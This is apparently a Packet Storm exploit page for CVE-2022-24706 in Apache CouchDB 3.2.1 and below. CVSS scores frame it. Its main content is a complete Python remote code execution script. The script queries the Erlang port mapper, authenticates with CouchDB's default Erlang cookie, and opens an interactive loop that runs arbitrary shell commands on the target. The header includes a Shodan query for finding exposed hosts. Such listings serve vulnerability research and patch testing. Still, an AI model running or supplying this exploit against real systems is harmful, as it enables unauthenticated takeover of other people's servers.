Lucene search

K
packetstormKonstantin BurovPACKETSTORM:167032
HistoryMay 11, 2022 - 12:00 a.m.

Apache CouchDB 3.2.1 Remote Code Execution

2022-05-1100:00:00
Konstantin Burov
packetstormsecurity.com
278

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

`# Exploit Title: Apache CouchDB 3.2.1 - Remote Code Execution (RCE)  
# Date: 2022-01-21  
# Exploit Author: Konstantin Burov, @_sadshade  
# Software Link: https://couchdb.apache.org/  
# Version: 3.2.1 and below  
# Tested on: Kali 2021.2  
# Based on 1F98D's Erlang Cookie - Remote Code Execution  
# Shodan: port:4369 "name couchdb at"  
# CVE: CVE-2022-24706  
# References:  
# https://habr.com/ru/post/661195/  
# https://www.exploit-db.com/exploits/49418  
# https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/  
# https://book.hacktricks.xyz/pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd#erlang-cookie-rce  
#   
#  
#!/usr/local/bin/python3  
  
import socket  
from hashlib import md5  
import struct  
import sys  
import re  
import time  
  
TARGET = ""  
EPMD_PORT = 4369 # Default Erlang distributed port  
COOKIE = "monster" # Default Erlang cookie for CouchDB   
ERLNAG_PORT = 0  
EPM_NAME_CMD = b"\x00\x01\x6e" # Request for nodes list  
  
# Some data:  
NAME_MSG = b"\x00\x15n\x00\x07\x00\x03\x49\x9cAAAAAA@AAAAAAA"  
CHALLENGE_REPLY = b"\x00\x15r\x01\x02\x03\x04"  
CTRL_DATA = b"\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03"  
CTRL_DATA += b"\x00\x00\x00\x00\x00w\x00w\x03rex"  
  
  
def compile_cmd(CMD):  
MSG = b"\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00"  
MSG += b"\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k"  
MSG += struct.pack(">H", len(CMD))  
MSG += bytes(CMD, 'ascii')  
MSG += b'jw\x04user'  
PAYLOAD = b'\x70' + CTRL_DATA + MSG  
PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD  
return PAYLOAD  
  
print("Remote Command Execution via Erlang Distribution Protocol.\n")  
  
while not TARGET:  
TARGET = input("Enter target host:\n> ")  
  
# Connect to EPMD:  
try:  
epm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
epm_socket.connect((TARGET, EPMD_PORT))  
except socket.error as msg:  
print("Couldnt connect to EPMD: %s\n terminating program" % msg)  
sys.exit(1)  
  
epm_socket.send(EPM_NAME_CMD) #request Erlang nodes  
if epm_socket.recv(4) == b'\x00\x00\x11\x11': # OK  
data = epm_socket.recv(1024)  
data = data[0:len(data) - 1].decode('ascii')  
data = data.split("\n")  
if len(data) == 1:  
choise = 1  
print("Found " + data[0])  
else:  
print("\nMore than one node found, choose which one to use:")  
line_number = 0  
for line in data:  
line_number += 1  
print(" %d) %s" %(line_number, line))  
choise = int(input("\n> "))  
  
ERLNAG_PORT = int(re.search("\d+$",data[choise - 1])[0])  
else:  
print("Node list request error, exiting")  
sys.exit(1)  
epm_socket.close()  
  
# Connect to Erlang port:  
try:  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((TARGET, ERLNAG_PORT))  
except socket.error as msg:  
print("Couldnt connect to Erlang server: %s\n terminating program" % msg)  
sys.exit(1)  
  
s.send(NAME_MSG)  
s.recv(5) # Receive "ok" message  
challenge = s.recv(1024) # Receive "challenge" message  
challenge = struct.unpack(">I", challenge[9:13])[0]  
  
#print("Extracted challenge: {}".format(challenge))  
  
# Add Challenge Digest  
CHALLENGE_REPLY += md5(bytes(COOKIE, "ascii")  
+ bytes(str(challenge), "ascii")).digest()  
s.send(CHALLENGE_REPLY)  
CHALLENGE_RESPONSE = s.recv(1024)  
  
if len(CHALLENGE_RESPONSE) == 0:  
print("Authentication failed, exiting")  
sys.exit(1)  
  
print("Authentication successful")  
print("Enter command:\n")  
  
data_size = 0  
while True:  
if data_size <= 0:  
CMD = input("> ")  
if not CMD:  
continue  
elif CMD == "exit":  
sys.exit(0)  
s.send(compile_cmd(CMD))  
data_size = struct.unpack(">I", s.recv(4))[0] # Get data size  
s.recv(45) # Control message  
data_size -= 45 # Data size without control message  
time.sleep(0.1)  
elif data_size < 1024:   
data = s.recv(data_size)  
#print("S---data_size: %d, data_recv_size: %d" %(data_size,len(data)))  
time.sleep(0.1)  
print(data.decode())  
data_size = 0  
else:   
data = s.recv(1024)  
#print("L---data_size: %d, data_recv_size: %d" %(data_size,len(data)))  
time.sleep(0.1)  
print(data.decode(),end = '')  
data_size -= 1024  
  
  
`

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C